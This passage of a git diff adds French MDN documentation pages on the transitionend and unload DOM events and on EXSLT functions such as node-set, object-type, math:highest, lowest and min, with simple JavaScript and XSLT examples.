+    }
+}
+</pre>
+
+<h2 id="Navigateur_compatible">Navigateur compatible</h2>
+
+<p>Cet événement a longtemps été soutenue par Internet Explorer et peut être utilisé comme une alternative à l'evenement <code><a href="/fr/docs/">DOMContentLoaded</a></code> (voir la note [2] de la section <a href="/fr/docs/Web/Events/DOMContentLoaded#Navigateurs_compatibles">Navigateurs compatibles</a>).</p>
+
+<h2 id="Les_événements_liés">Les événements liés</h2>
+
+<ul>
+ <li>{{event("DOMContentLoaded")}}</li>
+ <li>{{event("readystatechange")}}</li>
+ <li>{{event("load")}}</li>
+ <li>{{event("beforeunload")}}</li>
+ <li>{{event("unload")}}</li>
+</ul>
diff --git a/files/fr/web/events/transitionend/index.html b/files/fr/web/events/transitionend/index.html
new file mode 100644
index 0000000000..0c45cd871c
--- /dev/null
+++ b/files/fr/web/events/transitionend/index.html
@@ -0,0 +1,192 @@
+---
+title: transitionend
+slug: Web/Events/transitionend
+tags:
+  - DOM
+  - Event
+  - TransitionEvent
+  - Transitions CSS
+  - Transitions CSS3
+  - transitionend
+translation_of: Web/API/HTMLElement/transitionend_event
+---
+<div>{{APIRef}}</div>
+
+<p>L'événement <strong><code>transitionend</code></strong> est déclenché lorsqu'une <a href="/en-US/docs/CSS/Using_CSS_transitions">transition CSS</a> est terminée. <span class="tlid-translation translation" lang="fr"><span title="">Dans le cas où une transition est supprimée avant la fin, par exemple si {{cssxref ("transition-property")}} est supprimé ou {{cssxref ("display")}} est défini sur</span></span> <code>none</code>, alors l'événement ne pourra pas être généré.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bulles</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("TransitionEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété de gestionnaire d'événements</th>
+   <td>{{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>L'événement <code>transitionend</code> est déclenché dans les deux sens - à la fin de la transition vers l'état de transition et lorsqu'il revient complètement à l'état par défaut ou sans transition. S'il n'y a pas de délai ou de durée de transition, si les deux sont 0 ou qu'aucun n'est déclaré, il n'y a pas de transition et aucun des événements de transition n'est déclenché.  Si l'événement <code>transitioncancel</code> est déclenché, l'événement <code>transitionend</code> ne se déclenchera pas.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriétés</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>propertyName</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The name of the CSS property associated with the transition.</td>
+  </tr>
+  <tr>
+   <td><code>elapsedTime</code> {{readonlyInline}}</td>
+   <td>Float</td>
+   <td>The amount of time the transition has been running, in seconds, as of the time the event was generated. This value is not affected by the value of <code>transition-delay</code>.</td>
+  </tr>
+  <tr>
+   <td><code>pseudoElement</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The name (beginning with two colons) of the CSS pseudo-element on which the transition occured (in which case the target of the event is that pseudo-element's corresponding element), or the empty string if the transition occurred on an element (which means the target of the event is that element).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This code gets an element that has a transition defined and adds a listener to the <code>transitionend</code> event:</p>
+
+<pre class="brush: js notranslate">const transition = document.querySelector('.transition');
+
+transition.addEventListener('transitionend', () =&gt; {
+  console.log('Transition ended');
+});</pre>
+
+<p>The same, but using the {{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}}:</p>
+
+<pre class="brush: js notranslate">const transition = document.querySelector('.transition');
+
+transition.ontransitionend = () =&gt; {
+  console.log('Transition ended');
+};</pre>
+
+<h3 id="Live_example">Live example</h3>
+
+<p>In the following example, we have a simple {{htmlelement("div")}} element, styled with a transition that includes a delay:</p>
+
+<pre class="brush: html notranslate">&lt;div class="transition"&gt;Hover over me&lt;/div&gt;
+&lt;div class="message"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">.transition {
+  width: 100px;
+  height: 100px;
+  background: rgba(255,0,0,1);
+  transition-property: transform background;
+  transition-duration: 2s;
+  transition-delay: 1s;
+}
+
+.transition:hover {
+  transform: rotate(90deg);
+  background: rgba(255,0,0,0);
+}</pre>
+
+<p>To this, we'll add some JavaScript to indicate that the <code><a href="/en-US/docs/Web/API/HTMLElement/transitionstart_event">transitionstart</a></code>, <code><a href="/en-US/docs/Web/API/HTMLElement/transitionrun_event">transitionrun</a></code>, <code><a href="/en-US/docs/Web/API/Window/transitioncancel_event">transitioncancel</a></code> and <code>transitionend</code> events fire. In this example, to cancel the transition, stop hovering over the transitioning box before the transition ends. For the transition end event to fire, stay hovered over the transition until the transition ends.</p>
+
+<pre class="brush: js notranslate">const message = document.querySelector('.message');
+const el = document.querySelector('.transition');
+
+el.addEventListener('transitionrun', function() {
+  message.textContent = 'transitionrun fired';
+});
+
+el.addEventListener('transitionstart', function() {
+  message.textContent = 'transitionstart fired';
+});
+
+el.addEventListener('transitioncancel', function() {
+  message.textContent = 'transitioncancel fired';
+});
+
+el.addEventListener('transitionend', function() {
+  message.textContent = 'transitionend fired';
+});
+</pre>
+
+<p>{{ EmbedLiveSample('Live_example', '100%', '150px') }}</p>
+
+<p>The <code>transitionend</code> event is fired in both directions: when the box finishes turning and the opacity hits 0 or 1, depending on the direction.</p>
+
+<p>If there is no transition delay or duration, if both are 0s or neither is declared, there is no transition, and none of the transition events are fired.</p>
+
+<p>If the <code>transitioncancel</code> event is fired, the <code>transitionend</code> event will not fire.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Transitions", "#transitionend", "transitionend")}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.HTMLElement.transitionend_event")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>Le gestionnaire d'événements {{domxref("GlobalEventHandlers.ontransitionend")}}</li>
+ <li>L'interface {{domxref("TransitionEvent")}}</li>
+ <li>Propriétés CSS : {{cssxref("transition")}}, {{cssxref("transition-delay")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-property")}}, {{cssxref("transition-timing-function")}}</li>
+ <li>Événements liés: {{domxref("HTMLElement/transitionrun_event", "transitionrun")}}, {{domxref("HTMLElement/transitionstart_event", "transitionstart")}}, {{domxref("HTMLElement/transitioncancel_event", "transitioncancel")}}</li>
+ <li>Cet événement sur {{domxref("Document")}} cible : {{domxref("Document/transitionend_event", "transitionend")}}</li>
+ <li>Cet événement sur {{domxref("Window")}} cible : {{domxref("Window/transitionend_event", "transitionend")}}</li>
+</ul>
diff --git a/files/fr/web/events/unload/index.html b/files/fr/web/events/unload/index.html
new file mode 100644
index 0000000000..676b6187e3
--- /dev/null
+++ b/files/fr/web/events/unload/index.html
@@ -0,0 +1,156 @@
+---
+title: unload
+slug: Web/Events/unload
+tags:
+  - JavaScript
+  - events
+translation_of: Web/API/Window/unload_event
+---
+<p><br>
+ <span class="seoSummary">L'événement <code>unload</code> est appelé lorsque le document ou une ressource enfant est en train d'être déchargé.</span></p>
+
+<p>Il est lancé après :</p>
+
+<ol>
+ <li><a href="/en-US/docs/Mozilla_event_reference/beforeunload" title="/en-US/docs/Mozilla_event_reference/beforeunload">beforeunload</a> (événement annulable)</li>
+ <li><a href="/en-US/docs/Mozilla_event_reference/pagehide" title="/en-US/docs/Mozilla_event_reference/pagehide">pagehide</a></li>
+</ol>
+
+<p>Le document se trouve alors dans un état particulier :</p>
+
+<ul>
+ <li>Toutes les ressources existent encore (img, iframe etc.)</li>
+ <li>Plus rien n'est encore visible par l'utilisateur final</li>
+ <li>Les intéractions avec l'interface sont désactivées (<code>window.open</code>, <code>alert</code>, <code>confirm</code>, etc.)</li>
+ <li>Aucune erreur ne viendra interrompre le flux de déchargement.</li>
+</ul>
+
+<p>Veuiller noter que l'événement <code>unload</code> suit l'ordre du document : le cadre parent est déchargé <em>avant</em> le <code>unload</code> d'un cadre enfant (voir l'exemple ci-dessous).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td>Événement propageable</td>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <td>Annulable</td>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <td>Objets cibles</td>
+   <td>defaultView, Document, Element</td>
+  </tr>
+  <tr>
+   <td>Interface</td>
+   <td>{{domxref("UIEvent")}} si généré depuis un élément de l'interface utilisateur, {{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <td>Action par défaut</td>
+   <td>Aucune</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>La cible de l'événement (la cible de plus haut niveau dans le DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>Le type d'événement.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Si l'événement remonte ou non.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Si l'événement est annulable ou non.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>fenêtre</code> du document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Cadre parent&lt;/title&gt;
+    &lt;script&gt;
+      window.addEventListener('beforeunload', function(event) {
+        console.log('Je suis le 1er.');
+      });
+      window.addEventListener('unload', function(event) {
+        console.log('Je suis le 3ème.');
+      });
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;iframe src="child-frame.html"&gt;&lt;/iframe&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Ci-dessous, le contenu de <code>child-frame.html</code>:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Cadre enfant&lt;/title&gt;
+    &lt;script&gt;
+      window.addEventListener('beforeunload', function(event) {
+        console.log('Je suis le 2nd.');
+      });
+      window.addEventListener('unload', function(event) {
+        console.log('Je suis le 4ème et dernier…');
+      });
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+      ☻
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Quand le cadre parent est déchargé, les événements sont lancés dans l'ordre décrit par les messages <code>console.log</code>.</p>
+
+<h2 id="Événements_liés">Événements liés</h2>
+
+<ul>
+ <li>{{event("DOMContentLoaded")}}</li>
+ <li>{{event("readystatechange")}}</li>
+ <li>{{event("load")}}</li>
+ <li>{{event("beforeunload")}}</li>
+ <li>{{event("unload")}}</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<ul>
+ <li><a href="https://html.spec.whatwg.org/multipage/browsers.html#unloading-documents" title="http://www.whatwg.org/specs/web-apps/current-work/#unload-a-document">Unloading Documents — unload a document</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-unload" title="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-unload">Event Module Definition — unload</a></li>
+</ul>
diff --git a/files/fr/web/exslt/exsl/index.html b/files/fr/web/exslt/exsl/index.html
new file mode 100644
index 0000000000..9ddddaebc7
--- /dev/null
+++ b/files/fr/web/exslt/exsl/index.html
@@ -0,0 +1,6 @@
+---
+title: exsl
+slug: Web/EXSLT/exsl
+translation_of: Web/EXSLT/exsl
+---
+<p>{{wiki.localize('System.API.page-generated-for-subpage')}}</p>
diff --git a/files/fr/web/exslt/exsl/node-set/index.html b/files/fr/web/exslt/exsl/node-set/index.html
new file mode 100644
index 0000000000..212a88fc83
--- /dev/null
+++ b/files/fr/web/exslt/exsl/node-set/index.html
@@ -0,0 +1,36 @@
+---
+title: node-set
+slug: Web/EXSLT/exsl/node-set
+tags:
+  - EXSLT
+  - Référence_XSLT
+  - XSLT
+translation_of: Web/EXSLT/exsl/node-set
+---
+<p>
+{{ XsltRef() }}
+{{ Fx_minversion_header(3) }}
+</p><p><br>
+<code>exsl:node-set()</code> retourne un ensemble de nœuds d'un fragment d'arbre résultant, qui correspond à ce qu'on obtient en regardant <code><a href="fr/XSLT/variable">xsl:variable</a></code> plutôt que son attribut <code>select</code> pour récupérer la valeur d'une variable. Ceci permet de traiter le XML créé dans une variable pour de le traiter en plusieurs étapes.
+</p><p>Vous pouvez également utiliser <code>exsl:node-set()</code> pour transformer des chaînes en nœuds texte.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">exsl:node-set(<i>objet</i>)
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt> <code>objet</code>
+</dt><dd> L'objet pour lequel retourner l'ensemble de nœud correspondant.
+</dd></dl>
+<h3 id="Retourne" name="Retourne"> Retourne </h3>
+<p>L'ensemble de nœuds correspondant à l'<code><i>objet</i></code> spécifié.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.exslt.org/regexp/functions/node-set/index.html" class="external">EXSLT - EXSL:NODE-SET (en)</a>
+</p>
+<h3 id="Support_par_Gecko" name="Support_par_Gecko"> Support par Gecko </h3>
+<p>Supporté par Gecko 1.9 et ultérieur.
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/EXSLT/exsl/node-set", "es": "es/EXSLT/exsl/node-set", "ja": "ja/EXSLT/exsl/node-set" } ) }}
diff --git a/files/fr/web/exslt/exsl/object-type/index.html b/files/fr/web/exslt/exsl/object-type/index.html
new file mode 100644
index 0000000000..f4c3a6dfd1
--- /dev/null
+++ b/files/fr/web/exslt/exsl/object-type/index.html
@@ -0,0 +1,49 @@
+---
+title: object-type
+slug: Web/EXSLT/exsl/object-type
+tags:
+  - EXSLT
+  - XSLT
+translation_of: Web/EXSLT/exsl/object-type
+---
+<p>{{ XsltRef() }} {{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>exsl:object-type()</code> retourne une chaîne indiquant le type de l'objet spécifié.</p>
+
+<p>{{ Note("La plupart des types d\'objet <a href='\"fr/XSLT\"'>XSLT</a> peuvent être contraints les uns avec les autres sans risque. Cependant, certaines contraintes peuvent provoquer des erreurs. En particulier, le traitement de quelque chose qui n\'est pas un ensemble de nœuds comme tel. Cette fonction laisse aux auteurs des modèles nommés et des fonctions d\'extensions de fournir facilement une certaine flexibilité pour les valeurs de paramètres.") }}</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">exsl:object-type(<em>objet</em>)
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dt><code>objet</code></dt>
+ <dd>L'objet dont on désire connaître le type.</dd>
+</dl>
+
+<h3 id="Retourne" name="Retourne">Retourne</h3>
+
+<p>Le type de l'<code><em>objet</em></code>, qui sera un des types suivants :</p>
+
+<ul>
+ <li><code>string</code> (chaîne)</li>
+ <li><code>number</code> (nombre)</li>
+ <li><code>boolean</code> (booléen)</li>
+ <li><code>node-set</code> (ensemble de nœuds)</li>
+ <li><code>RTF</code></li>
+ <li><code>external</code> (externe)</li>
+</ul>
+
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<ul>
+ <li><a class="external" href="http://www.exslt.org/regexp/functions/object-type/index.html">EXSLT - EXSL:OBJECT-TYPE (en)</a></li>
+</ul>
+
+<h3 id="Support_par_Gecko" name="Support_par_Gecko">Support par Gecko</h3>
+
+<p>Supporté par Gecko 1.9 et ultérieur.</p>
diff --git a/files/fr/web/exslt/index.html b/files/fr/web/exslt/index.html
new file mode 100644
index 0000000000..36da4ac462
--- /dev/null
+++ b/files/fr/web/exslt/index.html
@@ -0,0 +1,93 @@
+---
+title: EXSLT
+slug: Web/EXSLT
+tags:
+  - EXSLT
+  - Référence_XSLT
+  - XSLT
+translation_of: Web/EXSLT
+---
+<p>
+{{ XsltRef() }}
+{{ Fx_minversion_header(3) }}
+EXSLT est un ensemble d'extensions à <a href="fr/XSLT">XSLT</a>. Un certain nombre de modules existent ; ceux qui sont supportés par Firefox sont listés ci-dessous :
+</p>
+<dl><dt> <a href="#Common">Common</a> (<code>exsl</code>)
+</dt><dd> Fournit des éléments et des fonctions basiques d'extension.
+</dd><dt> <a href="#Math">Math</a> (<code>math</code>)
+</dt><dd> Fournit des routines de comparaison de nœuds.
+</dd><dt> <a href="#Expressions_rationnelles">Expressions rationnelles</a> (<code>regexp</code>)
+</dt><dd> Fournit des facilités pour l'utilisation d'expressions rationnelles dans la syntaxe JavaScript.
+</dd><dt> <a href="#Sets">Sets</a> (<code>set</code>)
+</dt><dd> Fournit des routines pour la manipulation d'ensembles.
+</dd><dt> <a href="#Strings">Strings</a> (<code>str</code>)
+</dt><dd> Fournit des fonctions de manipulation de chaînes.
+</dd></dl>
+<h3 id="Utilisation_de_EXSLT" name="Utilisation_de_EXSLT"> Utilisation de EXSLT </h3>
+<p>Pour utiliser une fonction EXSLT, il faut déclarer son espace de noms comme espace de noms d'extension dans votre feuille de style. Par exemple, pour utiliser le package regexp :
+</p>
+<pre class="eval">&lt;xsl:stylesheet version="1.0"
+                xmlns:xsl="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>"
+                xmlns:regexp="<span class="nowiki">http://exslt.org/regular-expressions</span>"&gt;
+
+  &lt;xsl:template match="/"&gt;
+    …
+    &lt;xsl:value-of select="regexp:replace(/root/@value, 'before', 'gi', 'AFTER')"/&gt;
+    …
+  &lt;/xsl:template&gt;
+
+&lt;/xsl:stylesheet&gt;
+</pre>
+<h3 id="Common" name="Common"> Common </h3>
+<p>Le package EXSLT Common fournit des fonctions de base qui étendent les capacités de XSLT. L'espace de noms pour le package Common est <code><span class="nowiki">http://exslt.org/common</span></code>.
+</p>
+<h4 id="Fonctions" name="Fonctions"> Fonctions </h4>
+<ul><li> <a href="fr/EXSLT/exsl/node-set">exsl:node-set</a>
+</li><li> <a href="fr/EXSLT/exsl/object-type">exsl:object-type</a>
+</li></ul>
+<h3 id="Math" name="Math"> Math </h3>
+<p>Le package EXSLT Math fournit des fonctions permettant de travailler avec des valeurs numériques et de comparer des nœuds. L'espace de noms pour le package Math est <code><span class="nowiki">http://exslt.org/math</span></code>.
+</p>
+<h4 id="Fonctions_2" name="Fonctions_2"> Fonctions </h4>
+<ul><li> <a href="fr/EXSLT/math/highest">math:highest</a>
+</li><li> <a href="fr/EXSLT/math/lowest">math:lowest</a>
+</li><li> <a href="fr/EXSLT/math/max">math:max</a>
+</li><li> <a href="fr/EXSLT/math/min">math:min</a>
+</li></ul>
+<h3 id="Expressions_rationnelles" name="Expressions_rationnelles"> Expressions rationnelles </h3>
+<p>Le package EXSLT Expressions rationnelles fournit des fonctions permettant de tester, chercher et remplace du texte à l'aide d'expressions rationnelles de style JavaScript.
+</p><p>L'espace de noms pour le package Expressions rationnelles est <code><span class="nowiki">http://exslt.org/regular-expressions</span></code>.
+</p>
+<h4 id="Fonctions_3" name="Fonctions_3"> Fonctions </h4>
+<ul><li> <a href="fr/EXSLT/regexp/match">regexp:match</a>
+</li><li> <a href="fr/EXSLT/regexp/replace">regexp:replace</a>
+</li><li> <a href="fr/EXSLT/regexp/test">regexp:test</a>
+</li></ul>
+<h3 id="Sets" name="Sets"> Sets </h3>
+<p>Le package EXSLT Sets fournit des fonctions permettant des manipulations d'ensembles. L'espace de noms pour ces fonctions est <code><span class="nowiki">http://exslt.org/sets</span></code>.
+</p>
+<h4 id="Fonctions_4" name="Fonctions_4"> Fonctions </h4>
+<ul><li> <a href="fr/EXSLT/set/difference">set:difference</a>
+</li><li> <a href="fr/EXSLT/set/distinct">set:distinct</a>
+</li><li> <a href="fr/EXSLT/set/intersection">set:intersection</a>
+</li><li> <a href="fr/EXSLT/set/has-same-node">set:has-same-node</a>
+</li><li> <a href="fr/EXSLT/set/leading">set:leading</a>
+</li><li> <a href="fr/EXSLT/set/trailing">set:trailing</a>
+</li></ul>
+<h3 id="Strings" name="Strings"> Strings </h3>
+<p>Le package EXSLT Strings fournit des fonctions permettant la manipulation de chaînes. L'espace de noms pour le package Strings est <code><span class="nowiki">http://exslt.org/strings</span></code>.
+</p>
+<h4 id="Fonctions_5" name="Fonctions_5"> Fonctions </h4>
+<ul><li> <a href="fr/EXSLT/str/concat">str:concat</a>
+</li><li> <a href="fr/EXSLT/str/split">str:split</a>
+</li><li> <a href="fr/EXSLT/str/tokenize">str:tokenize</a>
+</li></ul>
+<h3 id="Voir_.C3.A9galement" name="Voir_.C3.A9galement"> Voir également </h3>
+<ul><li> <a class="external" href="http://www.exslt.org/">Site Web d'EXSLT</a>
+</li></ul>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/EXSLT", "es": "es/EXSLT", "ja": "ja/EXSLT", "pl": "pl/EXSLT" } ) }}
diff --git a/files/fr/web/exslt/math/highest/index.html b/files/fr/web/exslt/math/highest/index.html
new file mode 100644
index 0000000000..58050e9e5f
--- /dev/null
+++ b/files/fr/web/exslt/math/highest/index.html
@@ -0,0 +1,40 @@
+---
+title: highest
+slug: Web/EXSLT/math/highest
+tags:
+  - EXSLT
+  - XSLT
+translation_of: Web/EXSLT/math/highest
+---
+<p>{{ XsltRef() }} {{ Fx_minversion_header(3) }}<br>
+ <code>math:highest()</code> retourne le nœud de l'ensemble de nœuds spécifié possédant la plus grande valeur (où la plus grande valeur est calculée avec <code><a href="fr/EXSLT/math/max">math:max()</a></code>).</p>
+
+<p>Un nœud a sa valeur maximale si sa valeur de chaîne convertie en nombre est égale à la valeur maximale.</p>
+
+<p>{{ Note() }}</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">math:highest(<em>ensembleNœud</em>)
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dt><code>ensembleNœud</code></dt>
+ <dd>L'ensemble de nœuds pour lequel il faut retourner la plus grande valeur.</dd>
+</dl>
+
+<h3 id="Retourne" name="Retourne">Retourne</h3>
+
+<p>Un fragment d'arbre résultat consistant en copies des nœuds retournés par la fonction <code><a href="fr/EXSLT/math/max">math:max()</a></code>.</p>
+
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<ul>
+ <li><a class="external" href="http://www.exslt.org/regexp/functions/highest/index.html">EXSLT - MATH:HIGHEST (en)</a></li>
+</ul>
+
+<h3 id="Support_par_Gecko" name="Support_par_Gecko">Support par Gecko</h3>
+
+<p>Supporté par Gecko 1.9 et ultérieur.</p>
diff --git a/files/fr/web/exslt/math/index.html b/files/fr/web/exslt/math/index.html
new file mode 100644
index 0000000000..fe412ed7d8
--- /dev/null
+++ b/files/fr/web/exslt/math/index.html
@@ -0,0 +1,6 @@
+---
+title: math
+slug: Web/EXSLT/math
+translation_of: Web/EXSLT/math
+---
+<p>{{wiki.localize('System.API.page-generated-for-subpage')}}</p>
diff --git a/files/fr/web/exslt/math/lowest/index.html b/files/fr/web/exslt/math/lowest/index.html
new file mode 100644
index 0000000000..0c3ca2727d
--- /dev/null
+++ b/files/fr/web/exslt/math/lowest/index.html
@@ -0,0 +1,40 @@
+---
+title: lowest
+slug: Web/EXSLT/math/lowest
+tags:
+  - EXSLT
+  - XSLT
+translation_of: Web/EXSLT/math/lowest
+---
+<p>{{ XsltRef() }} {{ Fx_minversion_header(3) }}<br>
+ <code>math:lowest()</code> retourne le nœud de l'ensemble de nœuds spécifié possédant la plus grande valeur (où la plus grande valeur est calculée avec <code><a href="fr/EXSLT/math/min">math:min()</a></code>).</p>
+
+<p>Un nœud a sa valeur minimale si sa valeur de chaîne convertie en nombre est égale à la valeur minimale.</p>
+
+<p>{{ Note() }}</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">math:lowest(<em>ensembleNœud</em>)
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dt><code><em>ensembleNœud</em></code></dt>
+ <dd>L'ensemble de nœuds pour lequel il faut retourner la plus petite valeur.</dd>
+</dl>
+
+<h3 id="Retourne" name="Retourne">Retourne</h3>
+
+<p>Un fragment d'arbre résultat consistant en copies des nœuds retournés par la fonction <code><a href="fr/EXSLT/math/min">math:min()</a></code>.</p>
+
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<ul>
+ <li><a class="external" href="http://www.exslt.org/regexp/functions/lowest/index.html">EXSLT - MATH:HIGHEST (en)</a></li>
+</ul>
+
+<h3 id="Support_par_Gecko" name="Support_par_Gecko">Support par Gecko</h3>
+
+<p>Supporté par Gecko 1.9 et ultérieur.</p>
diff --git a/files/fr/web/exslt/math/min/index.html b/files/fr/web/exslt/math/min/index.html
new file mode 100644
index 0000000000..28d2947748
--- /dev/null
+++ b/files/fr/web/exslt/math/min/index.html
@@ -0,0 +1,41 @@
+---
+title: min
+slug: Web/EXSLT/math/min
+tags:
+  - EXSLT
+  - XSLT
+translation_of: Web/EXSLT/math/min
+---
+<p>{{ XsltRef() }} {{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>math:min()</code> renvoir la valeur minimale pour un ensemble de nœuds.</p>
+
+<p>Pour calculer la valeur minimale d'un ensemble de nœuds, l'ensemble est trié dans l'ordre croissant comme il le serait avec la commande <code><a href="fr/XSLT/sort">xsl:sort()</a></code> avec un type de donnée <code>number</code>. La valeur minimale est ensuite le premier nœud de la liste triée, converti en nombre.</p>
+
+<p>{{ Note() }}</p>
+
+<h3 id="Syntax" name="Syntax">Syntaxe</h3>
+
+<pre class="eval">math:min(<em>nodeSet</em>)
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dt><code><em>nodeSet</em></code></dt>
+ <dd>L'ensemble de nœuds dont la valeur la plus faible est recherchée.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Renvoie</h3>
+
+<p>Fragment de l'arbre du résultat représentant la valeur numérique du nœud avec la valeur la plus faible sous forme d'une de caractères.</p>
+
+<h3 id="Defined" name="Defined">Défini</h3>
+
+<p><a class="external" href="http://www.exslt.org/regexp/functions/min/index.html">EXSLT - MATH:MIN</a></p>
+
+<h3 id="Gecko_support" name="Gecko_support">Prise en charge par Gecko</h3>
+
+<p><br>
+ Pris en charge par Gecko 1.9 et suivants.</p>
diff --git a/files/fr/web/exslt/set/difference/index.html b/files/fr/web/exslt/set/difference/index.html
new file mode 100644
index 0000000000..ed02a244bb
--- /dev/null
+++ b/files/fr/web/exslt/set/difference/index.html
@@ -0,0 +1,40 @@
+---
+title: difference
+slug: Web/EXSLT/set/difference
+tags:
+  - EXSLT
+  - XSLT
